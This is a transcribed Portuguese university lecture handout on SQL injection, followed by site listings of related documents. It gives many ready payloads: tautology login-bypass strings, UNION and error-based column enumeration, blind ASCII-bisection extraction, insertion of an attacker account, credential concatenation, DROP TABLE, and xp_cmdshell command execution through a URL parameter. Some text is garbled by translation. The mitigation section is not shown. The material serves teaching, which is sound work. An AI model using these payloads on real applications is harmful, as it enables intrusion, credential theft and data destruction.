Aplicações Web e SQL Injection

Tamanho: px
Começar a partir da página:

Download "Aplicações Web e SQL Injection"

Transcrição

1 Instituto Federal de Educação, Ciência e Tecnologia da Paraíba Campus de Cajazeiras Curso Superior de Tecnologia em Análise e Desenvolvimento de Sistemas Disciplina: Segurança de Dados Professor: Daladier Júnior Período: 6 - Manhã Aplicações Web e SQL Injection Atualmente, muitas empresas, os governos e a sociedade em geral dependem muito de aplicações web. Todas essas aplicações web são acessadas usando o Internet e, assim, fazer face a riscos associados com o uso da grande rede. Riscos associados com o uso da Internet são evidentes com o aumento do número de incidentes registrados nos sites de segurança da Internet. Assim, todos os nossos ativos de informações importantes estão em risco, com tendência crescente de invasores para invadir sistemas computacionais [SITE_1]. Manifestos ativos da segurança da informação no uso de vários tipos de hardware, bem como produtos de software, topologias de rede e configurações e aplicações seguras. Agora, os gerentes de TI aceitaram que as aplicações web personalizadas, que são codificados de forma insegura, representam o maior risco para os dados sensíveis. Com melhor desempenho dos servidores de banco de dados a maioria das aplicações web usam SGBDs. E as aplicações web permitem que seus usuários válidos para vender/ editar / visualizar os dados armazenados em SGBDs, através da interface codificadas pelos programadores de aplicativos. Tradicionalmente, os programadores foram treinados para escrever códigos implementando as funcionalidades pretendidas, mas não estão conscientes nos aspectos de segurança, sob vários aspectos. Portanto, temos interface insegura com os dados mais valiosas armazenadas em SGBDs, devido às vulnerabilidades nas aplicações web chamada "SQL Injection". Os atacantes se aproveitam da exposição, devido à vulnerabilidade de injeção SQL para interagir com servidores SGBDs em SQL (Structured Query Language). Em outras palavras, isso significa que os invasores são capazes de enviar instruções SQL para SGBDS, que os executa e retorna os resultados de volta para o atacante. O risco destes ataques em aplicações comerciais aumentam, se o aplicativo da web é entregue junto com o código fonte ou se é uma aplicação open-source. Onde o atacante pode encontrar potenciais declarações vulneráveis, antes de lançar o ataque, bem como meras falhas de programação ou esquecimento de diretivas de simples de segurança. Este aula é centrada na educação dos profissionais de segurança com os riscos associados a esta situação, tentando dar entendimento, sucinto, de vários tipos de ataques que o invasor poderá lançar, além de um resumo das várias estratégias que podem ser avaliadas e aprovadas para proteger os ativos de informações valiosas. 1.1 O que é SQL Injection SQL Injection é um subconjunto das vulnerabilidades das entradas não verificadas/não sanitizadas dos usuários, a idéia é convencer o aplicativo a executar o código SQL, o qual não estava previsto. Se o pedido for criar strings SQL ingenuamente na mosca e, em seguida, executá-los, é simples para criar algumas surpresas [SITE_2]. As quatro principais categorias de ataques de injeção SQL em bancos de dados, são: 1. Manipulação SQL: Manipulação é o processo de modificar os comandos SQL, usando diferentes operações, como UNIÃO. Outra forma de execução do SQL Injection usando o método de manipulação é alterar a cláusula where de uma instrução SQL, para obter resultados diferentes. 2. Injeção de código: Injeção de código é um processo de inserção de novas instruções SQL ou comandos de banco de dados, nas instruções SQL vulneráveis. Um dos ataques de injeção de código é acrescentar um comando EXECUTE SQL Server, na instruções SQL vulneráveis. Este tipo de ataque só é possível quando várias instruções SQL por solicitação do banco de dados são

2 suportados. 3. Injeção em chamadas de função: Injeção em chamada de função é o processo de inserção de várias chamadas de função em banco de dados dentro de instruções SQL vulneráveis. Essas chamadas de função poderiam estar fazendo chamadas ao sistema operacional ou manipular os dados num banco de dados. 4. Estouros de buffer (Buffer Overflow): Buffer overflow é causado pelo uso de injeção em chamadas de função. Para a maioria dos bancos de dados comerciais e open source, as correções estão disponíveis. Este tipo de ataque é possível quando o servidor está sem patch. Todas as tecnologias de programação do lado servidor ou outras tecnologias web são suscetíveis a este ataque, segue uma lista rápida das tecnologias: JSP, PHP, ASP, JavaScript, XML, XSL, VB, MFC, outras ferramentas e APIs baseadas em ODBC, linguagens baseadas na 3ª e 4ª geração, como: C, OCI, Pro* C e COBOL, além de scripts Perl e CGI,que acessam bancos de dados Oracle. 2. Detecção da vulnerabilidade da Injeção SQL A detecção de injeção SQL é difícil porque ela pode estar presente em qualquer uma das muitas interfaces que o aplicativo apresenta ao usuário e não pode ser facilmente detectável. Portanto, identificar e corrigir esta vulnerabilidade efetivamente garante verificar cada entrada, que aceita a aplicação do usuário. 2.1 Como descobrir se o aplicativo é vulnerável ou não Como mencionado antes, as aplicações web usam geralmente SGBDS para armazenar as informações. As informações são armazenadas / recuperadas em SGBDS com a ajuda de instruções SQL. Um erro comum feito pelos desenvolvedores é a utilização, informações fornecidas pelo usuário na cláusula "Where" de uma instrução SQL ao recuperar a informação. Assim, modificando a cláusula 'Where' com condições suplementares para esta cláusula vulnerável, onde toda instrução SQL pode ser modificada. A tentativa bem sucedida para alcançar isto pode ser verificada olhando para a saída gerada pelo servidor de banco de dados. Seguindo um exemplo de modificação de uma cláusula Where poderia explicar melhor este assunto. Se a URL de uma página web é: 1. A instrução SQL da aplicação web que é usada para recuperar as informações do banco de dados pode ser parecido com isto: SELECT coluna1, coluna2 FROM tabela1 WHERE param1 = 9. Depois de executar esta consulta no banco de dados retorna os dados em columns1 e column2 para as linhas que satisfazem a condição param1 = 9. Esta informação é processada pelo código do lado do servidor, como servlets, etc, e um documento HTML é gerado para mostrar as informações. 2. Para testar a vulnerabilidade do aplicativo da web, o invasor pode alterar a cláusula Where, modificando as entradas que o usuário insere, numa URL da seguinte forma. AND 1 = 1 e se o servidor de banco de dados executa a seguinte consulta: SELECT coulmn1, coluna2 FROM tabela1 WHERE param1 = 9 AND 1 = 1. Se essa consulta também retorna as mesmas informações que antes, então a aplicação está sujeita a injeção de SQL 2.2 Enumeração de consultas com erros de sintaxe Muitos servidores web retornam o erro de sintaxe incorretos, juntamente com a parte da instrução SQL que foi enviada ao servidor de banco de dados para execução. Esta situação constitui uma oportunidade para o hacker gerar erros ao tentar várias combinações de entradas, para obter a

3 instrução SQL da mensagem de erro. Depois de obter a boa idéia sobre a instrução SQL existente como este, o hacker pode tentar outras construções na injeção SQL. Ataques de strings sugeridos são: Badvalue OR OR ; 9,9,9 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- hi") or ("a"="a ' or a=a-- " or "a"="a ') or ('a'='a hi') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a As entradas maliciosas listadas acima podem ou não dar os mesmos resultados. Portanto, é interessante tentar todas as entradas Analisando o conjunto de resultados Depois de tentar injetar a aspa (') e as combinações mencionadas ou a tentativa de anexar a condição E sempre verdadeiras, a mensagem retornada precisa ser analisada. Se a mensagem de retorno contém algum tipo de erro de banco de dados, depois de injeção de SQL é definitivamente bem-sucedida. No caso não há uma mensagem de erro direta no banco de dados, vale a pena verificar nas páginas anteriores ou nas informações de cabeçalho palavras como ODBC, SQL Server, MySQL, etc Todos os locais precisam ser verificadas, incluindo as variáveis ocultas. Um aplicativo da web seguro que valida as entradas dos usuários e rejeita tais valores. Assim, cada valor de entrada dos usuários devem causar erros que são manipulados pela aplicação e nenhuma mensagem de erro insinuando falha do comando de banco de dados seriam exibidas para o usuário. Se os erros de banco de dados foram diretamente exibidos para os usuários, que é o comportamento padrão do ASP / JSP/ PHP, em seguida, o invasor, seria capaz de obter toda a estrutura do banco de dados e ler dados no banco de dados, que a conta do usuário do aplicativo pode potencialmente ler. 3. Mostrando informações de um Banco de dados 3.1 Conhecendo Tabelas/Colunas de um Banco de Dados Todo atacante tenta obter informações a respeito do projeto de banco de dados do aplicativo de destino, a fim de garantir a melhor oportunidade em lançar um ataque sistemático. Vamos supor que há uma página ASP usada para o logon de usuário desenvolvida por um programador muito ingênuo, em que não há tratamento personalizado de erro e o atacante descobriu que a página é aberta para o ataque de injeção SQL, injetando " no campo username. A página usa o seguinte comando SQL, para verificar as credenciais dos usuários no banco de dados. Select * from users where username = '"+ Inp_username +"', password = '"+ Inp_password +" "; Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 1 Primeiro, o atacante gostaria de estabelecer os nomes das tabelas que a consulta funciona e os nomes dos campos. Para fazer isso, o atacante usa a cláusula "having" da instrução 'select':

4 Inp_username: 'having 1 = 1 - Isto provoca o seguinte erro: [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /mydir/process_login.asp, line 26 So the attacker now knows the table name and column name of the first column in the query Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 2 Eles podem continuar através das colunas introduzindo cada campo dentro de uma cláusula 'GROUP BY', como se segue: Inp_username: group by users.id having 1 = 1 -- que produz o erro: [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /mydir/process_login.asp, line Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 3 Eventualmente, depois de usar a string: ' group by users.username 1 = 1 -- e recebendo a última coluna (senha), o atacante chega à seguinte conclusão: 'Inpusername': 'group by users.id, users.username, users.password, users.privs having 1=1, que não produz nenhum erro Uma instrução SQL é funcionalmente equivalente a: select * from users where username =''. Portanto, o atacante já sabe que a consulta faz referência apenas a tabela 'users', e está usando as colunas: "username, password, privs, id', nessa ordem Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 4 Seria útil poder determinar os tipos de cada coluna. Isto pode ser conseguido utilizando a mensagem de erro de conversão de tipo, como este: union select sum(users.username) from users-- Isso leva vantagem do fato que as tentativas de servidor SQL em aplicar a cláusula de soma (SUM) antes de determinar se o número de campos nos dois conjuntos de linhas é igual. A tentativa de calcular a "soma" dos resultados de um campo de texto resulta na mensagem: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /mydir/process_login.asp, line 26

5 Above message gives us that the 'username' field has type 'varchar' Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 5 Por outro lado, procuramos calcular SUM() de um tipo numérico, temos uma mensagem de erro dizendo que o número de campos nos dois conjuntos de linhas não coincidem: Inp_username: ' union select sum(id) from users -- Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server] All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /mydir/process_login.asp, line 26 Esta técnica pode ser usada para determinar o tipo de qualquer coluna de uma tabela no banco de dados. Isso permite que o invasor crie uma consulta bem formada de inserção, como este: Inp_username: ' ; insert into users values('attacker', 'foobar', 66,3 ) Permitindo acesso ao atacante: 3.2 Pegando credenciais de outros usuários Desde que o atacante está interessado em nomes de usuários e senhas, que são propensos a ler os nomes de usuário / senhas de uma tabela 'users'. Isso também ilustra outro ponto; instruções Transact-SQL podem ser na mesma linha, sem alterar seu significado. O script a seguir irá concatenar os valores: começar ret varchar (8000) begin varchar(8000) select '+username+'/'+password from users where as ret into foo enda declaração acima após a execução cria uma tabela 'foo', que contém "ret" a única coluna, e coloca a nossa seqüência para ele. Normalmente, mesmo um usuário com poucos privilégios será capaz de criar uma tabela em um simples banco de dados, ou o banco de dados temporário. O atacante, então, seleciona a seqüência da tabela, como antes: ret "union select ret,1,1,1 from foo-- E então apaga, deleta ou dropa (em alusão ao DROP) a tabela, desta forma: Inpusername: '; drop table foo-- 4. Ataques Nesta seção, veremos vários ataques que exploram essa vulnerabilidade. Existem quatro tipos de ataques de SQL Injection. Vamos ver os ataques de cada tipo nesta seção. Todos estes tipos de injeção de SQL são válidos para bancos de dados como MS SQL Server, Oracle, DB2, MySQL e PostgreSQL. 4.1 Autorização by-pass (manipulação SQL) Essa técnica daria ao atacante o acesso com os privilégios do primeiro usuário no banco de dados. Este ataque poderia ser usado para passar pela tela de logon. A instrução SQL usada pelo aplicativo é: 1. SQL= SELECT Username FROM Users WHERE Username=

6 &strinputusername& AND Password = &strinputpassword& 2. StrAuthorizationChk = ExecQuery(SQL); 3. If StrAuthorizationChk= then 4. BoolAuthnticated = False; 5. Else 6. BoolAuthenticated = True; 7. EndIf O código acima mostra uma instrução SQL usada para autenticação. Esta instrução SQL tem duas entradas: strinputusername e strinputpassowrd. Esta consulta tenta encontrar nome de usuário na tabela de usuários que tem coluna Nome com valor igual a strinputusername e valor na coluna Password igual strinputpassword. Após a execução desta instrução na linha 2, se for encontrada uma correspondência a seqüência StrAuthorizationChk terá o nome de usuário nele. Programa de lógica nas linhas 3 a 7 é simplesmente declarar o usuário autenticado ou não. Se não houver a validação da entrada, de modo que nunca depois de uma entrada pode haver quaisquer caracteres. Assim, as entradas podem ser modificados de tal forma que mesmo que não se conhece um usuário válido e sua senha, ele iria ficar autenticado. Ao introduzir os seguintes valores. Login name : OR = Password : OR = ' Isso vai mudar consulta SQL, da seguinte forma SELECT Username from Users WHERE Username = OR = AND Password = OR = Esta consulta acaba encontrando um usuário, onde Usuário é branco ou "=" "nada" ou seja, é igual a "nada" que é sempre verdadeira e mesmo para password. Desde que a primeira linha da tabela vai satisfazer o critério da consulta, ela vai ser selecionada. E sem username e senha válidos poderiam realizar o login. 4.2 Explorando SELECT Para a maior parte na vida real, a injeção de SQL não é tão simples como o que é mostrado acima. A maioria dos atacantes vezes iria ver alguma mensagem de erro e vai ter que fazer engenharia reversa de suas consultas. Para isso é preciso saber interpretar as mensagens de erro e como modificar a seqüência de injeção Direto vs Marcado (Manipulação SQL) Estes dois tipos de injeção de SQL são diretos ou citados. No ataque direto os dados de entrada se tornam parte da instrução SQL formado pela aplicação. Para manipular as instruções SQL neste tipo o invasor tem que simplesmente adicionar espaço ('') e OR para a entrada. Após a execução, se a mensagem de erro é retornada, em seguida, a injeção foi bem sucedida. Os valores poderiam ser utilizados diretamente na cláusula WHERE, como: SQL = "SELECT título, autor, publicação de livros onde ISBN =" & InputISBNNum OU SQL = "SELECT título, autor, publicação de livros de encomendas por" & strinputcolumn Todas as outras injeções possíveis são citadas declarações SQL. Em injecção citou a cadeia injetou tem um orçamento anexado a ela gosta. SQL = "SELECT título, autor, publicação de livros onde ISBN =" strinputisbn & "'" A fim de manipular seqüência da instrução SQL de entrada com êxito deve conter uma única citação 'antes do uso da palavra-chave SQL primeiro e termina em uma declaração WHERE que precisa de aspas simples anexado a ela.

7 O código que usou estas entradas sem validação está abaixo: { objdb = getdbmanager(); sqlquery = new StringBuffer("SELECT 1 FROM "); sqlquery.append(dbtablename.userinfo); sqlquery.append(" WHERE USERNAME = '"); sqlquery.append(username); sqlquery.append("' AND PASSWORD = '"); sqlquery.append(password); sqlquery.append("'"); } Depois de executar este ataque o pedido concede ao atacante acesso completo ao aplicativo com o papel de SA como abaixo: União Básica (Manipulação SQL) A maioria das aplicações web usam as instruções SELECT para recuperar dados do banco de dados. Também em muitas sitações entradas de usuário se tornariam parte da cláusula WHERE das instruções SELECT. Por exemplo: SQL = "SELECT Title, Author, Publishing from Books WHERE ISBN = & strinputisbn & A instrução SQL acima tem uma seqüência strinputisbn do usuário. Numa básica UNIÃO SQL o ataque de injeção de comandos SQL a string dará entradas que não irão retornar nenhum resultado para a instrução SQL original, mas irá retornar as linhas do conjunto de resultados da instrução SQL injetado usando UNION ALL. Se na entrada do usuário acima SQL da consulta é UNION ALL SELECT Price, Quantity From Pricing_Table WHERE = Como resultado da consulta formada pela aplicação a ser executada no banco de dados será: SELECT Title, Author, Publishing from Books WHERE ISBN = UNION ALL SELECT Price, Quantity From Pricing_Table WHERE = O servidor de banco de dados tenta buscar através da tabela de Books um livro que tem um número ISBN em branco, que é um caso muito improvável. Esta consulta original normalmente não retornou nenhum resultado. Depois do banco de dados a segunda instrução SELECT é executada, selecionando todos os valores de alguma outra tabela porque a cláusula WHERE é sempre satisfeita para esta segunda consulta. Posteriormente, a cláusula UNION ALL é usada, mas não elimina todas as linhas do conjunto de resultados e retorna todas as linhas para o hacker Encontrando o papel usando SELECT (Injeção chamada de função) Muitas empresas liberam notícias para a imprensa (press releases) através do seu portal. Normalmente o usuário requisita um comunicado de imprensa em uma URL, ficando assim: A instrução SQL utilizada pela aplicação ficaria assim Select title, description, releasedate, body from pressrelease WHERE pressrelaseid=5 O servidor de banco de dados retorna todas as informações solicitadas correspondentes à quinta notícias liberada à imprensa. Esta informação é formatada pelo aplicativo em uma página HTML e fornecida ao usuário. Se a string injetada é 5 e 1 = 1 e a aplicação ainda retorna o mesmo documento, em seguida, a aplicação está sujeita a ataque de injeção SQL. Idealmente um aplicativo usa métodos como uma declaração preparada teria rejeitado esse valor por causa da incompatibilidade de tipo. Esta vulnerabilidade pode ser explorada para saber se o usuário do aplicativo é DBO no banco de

8 dados, enviando pedido que seria assim Select title, description, releasedate, body from pressrelease WHERE pressrelaseid=5 AND USER_NAME()= dbo USER_NAME() is MS SQL Server que retorna o nome do usuário atual. Se o usuário atual é 'dbo', a pedido do irá avaliar a release verdadeira e a notícia seria mostrada. Caso contrário a consulta iria falhar e a notícia não seria exibida Encontrando a tabela de usuários usando SELECT (Code Injection) No caso do servidor de banco de dados não suportar múltiplas instruções SQL como Oracle. Depois de descobrir informação, tais como tabelas de usuário podemos usar a técnica a seguir. Continuando com o exemplo acima para identificar um usuário numaa tabela. A URL requisitada ficaria assim: 1. Pegar o primeiro caractere da tabela user Passo 1 AND ascii(lower(substring((select TOP 1 name from sysobjects WHERE xtype= U ), 1,1)))>109 Está pedindo o nome da tabela do usuário em primeiro lugar no banco de dados. A função substring irá retornar o primeiro caractere da tabela do usuário retornado pela consulta. A função lower irá converter os caracteres para letras minúsculas. Finalmente ascii () irá retornar o valor ASCII do carácter. Se a aplicação retorna a 5ª notícia de imprensa em resposta a essa consulta, em seguida, nós sabemos que a primeira letra da tabela de usuário inicia o primeiro caractere depois de 'm' (ASCII 109) no alfabeto. Fazendo várias solicitações, nós podemos determinar o valor ASCII preciso. 2. Pegar primeiro caractere da tabela user Passo 2 AND ascii(lower(substring((select TOP 1 name FROM sysobjects WHERE xtype='u'), 1, 1))) > 116 Se nenhum notícia é devolvida, o valor ASCII é maior que 109, mas não superior a 116. Assim, o caractere está entre "n" (110) e "t" (116). 3. Pegar primeiro caractere da tabela user Passo 3 Então vamos continuar com nossos esforços para determinar a primeira letra e estreitar ainda mais para baixo: AND ascii(lower(substring((select TOP 1 name FROM sysobjects WHERE xtype='u'), 1, 1))) > 113 Outra afirmação falsa. Sabemos agora que o caractere está entre 110 e Pegar primeiro caractere da tabela user Passo 4 AND ascii(lower(substring((select TOP 1 name FROM sysobjects WHERE xtype='u'), 1, 1))) > 111 Falso novamente. A escala é reduzida a duas letras: 'n' e 'o' (110 e 111).

9 5. Pegar primeiro caractere da tabela user Passo 5 AND ascii(lower(substring((select TOP 1 name FROM sysobjects WHERE xtype='u'), 1, 1))) = 111 O servidor retorna a notícia, assim que a afirmação é verdadeira! A primeira letra do resultado da consulta (e o nome da tabela) é "o." Para recuperar a segunda letra, repita o processo "Conseguir o primeiro caractere da tabela do usuário" passo 1-5, mas alterar o argumento segundo o substring ( ) de modo que o próximo caractere do resultado é extraído: (mudar sublinhado (underlined)) AND ascii(lower(substring((select TOP 1 name FROM sysobjects WHERE xtype='u'), 2, 1))) > 109 Repita esse processo até que toda a string seja extraída Parênteses (manipulação SQL) Se a mensagem de retorno de erro pelo servidor contém um parêntese, como neste caso em que a mensagem de erro diz Unclosed quotation (Aspas não fechada) antes da seqüência de caracteres "), Ou uma mensagem de erro pode dizer que está faltando parênteses. Neste caso de ausência de parênteses, a seqüência de injeção pode precisar conter o parêntese na parte ruim de valor e na sua cláusula where. Em alguns casos, um ou mais parênteses podem precisar serem adicionados Consultas com LIKE (Injeção de código) Muitos desenvolvedores tendem a escrever consultas usando a cláusula LIKE. O uso da cláusula LIKE se pode adivinhar, vendo % ou LIKE de palavras-chave nas mensagens de erro nos bancos de dados. Exemplo de consulta: SELECT product_name FROM all_products WHERE product_name like '%Chairs%' O atacante tenta manipular a instrução SQL para executar como: SELECT product_name FROM all_products WHERE product_name like '%'%' A consulta acima irá substituir a seqüência de entrada Chairs para a consulta e irá procurar todos os registros que tenham uma seqüência de entrada qualquer, com os valores product_name. Se o atacante injeta a seqüência mostrada acima, o atacante se obtém todos os dados sensíveis Número de Coluna Incompatível (Injeção de código) Ataque usando declaração UNION, como mostrado acima. Portanto, se a consulta original é Exemplo de consulta: SELECT product_name FROM all_products WHERE product_name like '&Chairs&' " Em seguida, o ataque seria SELECT product_name FROM all_products WHERE product_name like '' UNION ALL SELECT 9,9 FROM SysObjects WHERE = A consulta acima daria erros que indicam que não há incompatibilidade no número de colunas e seus tipos de dados na união da tabela sysobjects e as colunas que são especificados usando 9. O erro "Operand type mis-match" se dá principalmente porque os dados incompatíveis na cláusula UNION causou a string injetada. Outro erro que podemos ver é "Todas as consultas em uma instrução SQL que contém um operador UNION devem ter um número igual de expressões em sua

10 lista de destino" é porque o número de colunas não é compatível. Após o julgamento de vários erros e uma declaração LIKE possa vir a suceder. SELECT product_name FROM all_products WHERE product_name like '' UNION ALL SELECT 9,9, 9, Text, 9 FROM SysObjects WHERE = Conjunto de resultados da consulta acima irá mostrar todas as linhas na tabela sysobjects e também irá mostrar os valores de linha constante para cada linha na tabela sysobjects definida na consulta Cláusula WHERE adicional (injeção de código) Às vezes pode haver mais de uma condição WHERE na instrução SQL que é adicionado após a seqüência de injeção. SELECT firstname, LastName, Title from Employees WHERE City = & strcity & AND Country = INDIA Na primeira tentativa, após injetar a string, a consulta resultante seria semelhante a: SELECT firstname, LastName, Title from Employees WHERE City = NoSuchCity UNION ALL Select OtherField from OtherTable WHERE 1 = 1 AND Country = USA A consulta acima irá resultar em uma mensagem de erro como esta: Country because OtherTable does not have a column called Country. Para resolver este problema poderia usar um ";--" para se livrar do resto da seqüência de consulta no caso do servidor ser o MS SQL Server. Se o pedido não está usando o MS SQL Server, use as consultas da seção para obter o máximo como resultado. Se for bem sucedido em encontrar a tabela da qual a coluna na cláusula WHERE adicional está, então adicione a tabela na cláusula FROM Enumeração do nome da Tabela e do Campo Em caso do MS SQL Server sysobjects armazenar os nomes de todas as tabelas e as informações armazenadas nas colunas syscolumns correspondentes. Para obter uma lista das tabelas de usuário e colunas correspondentes usam a seguinte consulta SQL: Select name from sysobjects where xtype= U. A consulta acima retornará todas as tabelas definidas pelo usuário que está com xtype = 'U' no banco de dados. Suponha que haja necessidade de descobrir os nomes das colunas da tabela "Orders", em seguida, obter os nomes de coluna correspondente usando a consulta: Select name from syscolumns where id = (select id from sysobjects where name = Orders ) 4.3 Exploração de Inserção Fundamentos da Inserção Muitos sites, como quadros de avisos, carrinho de compras, o registro do usuário tomam as entradas do usuário e armazená-as e depois os exibe para outros usuários. O que significa, essencialmente, as entradas de usuários são armazenados no backend, utilizando a instrução INSERT. O abuso das declarações INSERT traz como resultado que atacante adiciona várias linhas no banco de dados com dados corrompidos. Se o administrador monitora o conteúdo do banco de dados, então as inserções podem ser detectadas. Ataques no backend utilizando declarações INSERT são um pouco diferentes do Select.

11 4.3.2 Injetando no subselect Normalmente, uma instrução INSERT fica assim: Insert into TableName Values ( ValueOne, valuetwo, valuethree ); Suponha que a amostra de instrução SQL é utilizada pelo aplicativo. INSERT INTO TableName Values ( & strvalueone &, & strvaluetwo & ) E os valores que são introduzidos pelo usuário são: Name: + (SELECT TOP 1 Fieldname from TableName) + Phone: A instrução SQL resultante se parece com isso: INSERT INTO tablename values ( + (SELECT TOP 1 Fieldname FROM tablename ) +, ) Onde essa informação exibida para o usuário, geralmente em lugares como páginas onde o usuário tem permissão para editar as informações. No ataque acima o primeiro valor do FieldName será exibido no lugar do nome do usuário. Se TOP 1 não for utilizado, haverá uma mensagem de erro "subselect retornou muitas linhas". O atacante pode passar por todos os registros usando a cláusula NOT IN. 4.4 Explorando Procedimentos armazenados do sistema (Chamada de função) A maioria dos bancos de dados usam procedimentos armazenados para executar muitas operações de administração. Se o atacante for capaz de injetar string SQL com êxito, em seguida, o atacante pode explorar esses procedimentos armazenados. O acesso aos procedimentos armazenados depende dos privilégios de acesso do usuário do aplicativo no banco de dados. Na maioria das vezes que um procedimento armazenado é executado com êxito, não pode haver nenhuma saída na tela como faria no caso de uma instrução SQL normal. Por exemplo: SomeAsp.asp?city=pune ; EXEC master.dbo.xp_cmdshell cmd.exe dir c: Sample stored procedure Xp_cmdshell Xp_cmdshell { command string } {, no_output} Master.dbo.xp_cmdshell recebe um único argumento, que é o comando a ser executado no nível do servidor SQL do usuário. Isso não vai estar disponível a menos que o usuário do aplicativo no banco de dados é o administrador do sistema. 4.5 Buffer overflow Exemplo de vulnerabilidade no produto, como o MS SQL Server 2000 Um buffer overflow foi relatado no console de comandos (DBCCs) do banco de dados, que vêm com o Microsoft SQL Server 7.0/2000. Esse problema pode ser explorado para executar código arbitrário com os privilégios do processo do SQL Server. Esta vulnerabilidade pode ser explorada por qualquer usuário autenticado SQL. 5. Mitigação

Modo Básico, passando por senhas em sites

Modo Básico, passando por senhas em sites A Injeção SQL www.invasao.com.br Modo Básico, passando por senhas em sites Hoje em dia é uma prática comum os sites pedirem um cadastro do visitante, e criar-lhe um login, dando acesso a áreas restritas

Leia mais

Bancos de Dados III. Desempenho e Segurança no Acesso Cliente-Servidor de BD. Rogério Costa rogcosta@inf.puc-rio.br. Otimizador

Bancos de Dados III. Desempenho e Segurança no Acesso Cliente-Servidor de BD. Rogério Costa rogcosta@inf.puc-rio.br. Otimizador Bancos de Dados III Desempenho e Segurança no Acesso Cliente-Servidor de BD Rogério Costa rogcosta@inf.puc-rio.br 1 Otimizador Plano de acesso: caminhos e formas de acesso que serão utilizados pelo SGBD

Leia mais

Aula 1 Acesso a Banco de Dados

Aula 1 Acesso a Banco de Dados Laboratório de Banco de Dados Aula 1 Acesso a Banco de Dados Prof. Josenildo Silva jcsilva@ifma.edu.br Introdução O JDBC (Java Database Connectivity) foi criado com o intuito de fornecer aos programadores

Leia mais

GR1NCH/Rêner (gr1nch@dclabs.com)

GR1NCH/Rêner (gr1nch@dclabs.com) GR1NCH/Rêner (gr1nch@dclabs.com) Agenda O que seria um ataque de SQL Injection. As falhas de um administrador. O código ASP vulnerável. O ponto de vista do invasor e as etapas de um ataque: Levantamento

Leia mais

Prof. Carlos Majer Aplicações Corporativas UNICID

Prof. Carlos Majer Aplicações Corporativas UNICID Este material pertence a Carlos A. Majer, Professor da Unidade Curricular: Aplicações Corporativas da Universidade Cidade de São Paulo UNICID Licença de Uso Este trabalho está licenciado sob uma Licença

Leia mais

Entendendo Injeção de SQL

Entendendo Injeção de SQL Entendendo Injeção de SQL Autor K4m1k451 < k4m1k451@gmail.com bere_bad@hotmail.com > 18/05/2009 Sumário: ---[ 0x00 Introdução... 4 ---[ 0x01 Desmistificando as single quotes... 4 ---[ 0x02 Injetando...

Leia mais

Oracle PL/SQL Overview

Oracle PL/SQL Overview Faculdades Network Oracle PL/SQL Overview Prof. Edinelson PL/SQL Linguagem de Programação Procedural Language / Structured Query Language Une o estilo modular de linguagens de programação à versatilidade

Leia mais

Trabalhando com conexão ao banco de dados MySQL no Lazarus. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011

Trabalhando com conexão ao banco de dados MySQL no Lazarus. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011 Trabalhando com conexão ao banco de dados MySQL no Lazarus Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011 Edição 4 O Componente Trabalhando com conexão ao banco de dados MySQL no Lazarus Ano: 03/2011

Leia mais

Laboratório de Banco de Dados Aula 1 Acesso a Banco de Dados. Prof. Josenildo Silva jcsilva@ifma.edu.br

Laboratório de Banco de Dados Aula 1 Acesso a Banco de Dados. Prof. Josenildo Silva jcsilva@ifma.edu.br Laboratório de Banco de Dados Aula 1 Acesso a Banco de Dados Prof. Josenildo Silva jcsilva@ifma.edu.br Introdução O JDBC (Java Database Connectivity) foi criado com o intuito de fornecer aos programadores

Leia mais

DESENVOLVIMENTO DE SOFTWARE

DESENVOLVIMENTO DE SOFTWARE VARIAÁ VEL Antes de iniciarmos os comandos referentes a Banco de Dados, precisamos de uma breve descrição técnica sobre Variáveis que serão uma constante em programação seja qual for sua forma de leitura.

Leia mais

ADMINISTRAÇÃO DE BANCO DE DADOS

ADMINISTRAÇÃO DE BANCO DE DADOS ADMINISTRAÇÃO DE BANCO DE DADOS ARTEFATO 02 AT02 Diversos I 1 Indice ESQUEMAS NO BANCO DE DADOS... 3 CRIANDO SCHEMA... 3 CRIANDO TABELA EM DETERMINADO ESQUEMA... 4 NOÇÕES BÁSICAS SOBRE CRIAÇÃO E MODIFICAÇÃO

Leia mais

Programação WEB II. PHP e Banco de Dados. progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza

Programação WEB II. PHP e Banco de Dados. progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza PHP e Banco de Dados progweb2@thiagomiranda.net Conteúdos Os materiais de aula, apostilas e outras informações estarão disponíveis em: www.thiagomiranda.net PHP e Banco de Dados É praticamente impossível

Leia mais

Laboratório de Banco de Dados Prof. Luiz Vivacqua. PL/pgSQL A Linguagem de programação do PostgreSQL

Laboratório de Banco de Dados Prof. Luiz Vivacqua. PL/pgSQL A Linguagem de programação do PostgreSQL Laboratório de Banco de Dados Prof. Luiz Vivacqua PL/pgSQL A Linguagem de programação do PostgreSQL 1) Visão Geral A PL/pgSQL é uma linguagem de programação procedural para o Sistema Gerenciador de Banco

Leia mais

Laboratório 3. Base de Dados II 2008/2009

Laboratório 3. Base de Dados II 2008/2009 Laboratório 3 Base de Dados II 2008/2009 Plano de Trabalho Lab. 3: Programação em Transact-SQL MYSQL Referências www.mysql.com MICROSOFT SQL SERVER - Procedimentos do Lado do Servidor (Stored Procedures)

Leia mais

Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu

